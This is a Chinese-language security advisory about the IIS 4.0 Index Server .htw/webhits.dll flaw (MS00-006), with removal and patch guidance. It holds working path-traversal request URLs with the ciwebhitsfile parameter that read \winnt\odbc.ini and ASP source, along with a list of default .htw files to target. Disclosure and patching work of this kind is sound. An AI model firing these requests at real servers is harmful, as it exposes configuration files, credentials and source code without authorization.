涉及程序:
microsoft inte.net information server/index server
描述:
震撼安全发现:新的漏洞允许查看web服务器上任何文件包括asp源码
详细:
iis4.0上有一个应用程序映射htw--->webhits.dll,这是用于index server的点击功能的。尽管你不运行index server,该映
射仍然有效。这个应用程序映射存在漏洞,允许入侵者读取本地硬盘上的文件,数据库文件,和asp源代码!
有两种方法来实现,第一,如果你的web server上存在.htw后缀的文件,则可以过下面的方式来查看文件内容,比如查看
odbc.ini文件的内容:
http://www.xxx.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/odbc.ini&cirestriction=none&cihilitetype=full
对于iis的一般安装模式可以在下列位置找到.htw文件:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.htw
/iishelp/iis/misc/iirturnh.htw
第二、如果你的web server上不存在这个文件,有漏洞的系统仍然允许用户调用webhits.dll,具体方式如下:
http://www.xxx.com/default.htm .htw?
ciwebhitsfile=/../../winnt/odbc.ini&cirestriction=none&cihilitetype=full
条件是default.htm必须存在。这个文件名可以是其它文件,但必须存在。webhits.dll将会把这个文件作为临时文件打开。当上
述url中的空格符 达到一定数目时,web服务的识别功能可能会出现问题,这样webhits.dll将打开指定的文件
\winnt\odbc.ini。如果成功,用同样的方法可以打开更多的文件,包括asp代码。近似的原理请见下面这段代码:
file *fd;
int doestemplateexist(char *pathtohtwfile)
{
// just in case .netinfo.exe passes too long a string
// let's make sure it's of a suitable length and not
// going to open a buffer overrun vulnerability
char *file;
file = (char *)malloc(250);
strncpy(file,pathtohtwfile,250);
fd = fopen(file,"r");
// success
if(fd !=null)
{
return 1;
}
// failed
else
{
return 0;
}
}
解决方案:
不使用index server功能的用户,可以在iis管理控制台中,点 web站点,属性,选择主目录,配置(起始点),应用程序映射,
将htw与webhits.dll的映射删除。
如果要用到webhits.dll,则使用下面的补丁:
index server 2.0(intel机器)的补丁
index server 2.0(alpha机器)的补丁
windows2000的index server服务补丁
安全建议:
建议在iis控制台中删除无用的应用程序映射
相关站点:
http://www.microsoft.com/tec.net/security/bulletin/ms00-006.asp
from: http://www.cnns.net/article/db/49.htm
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器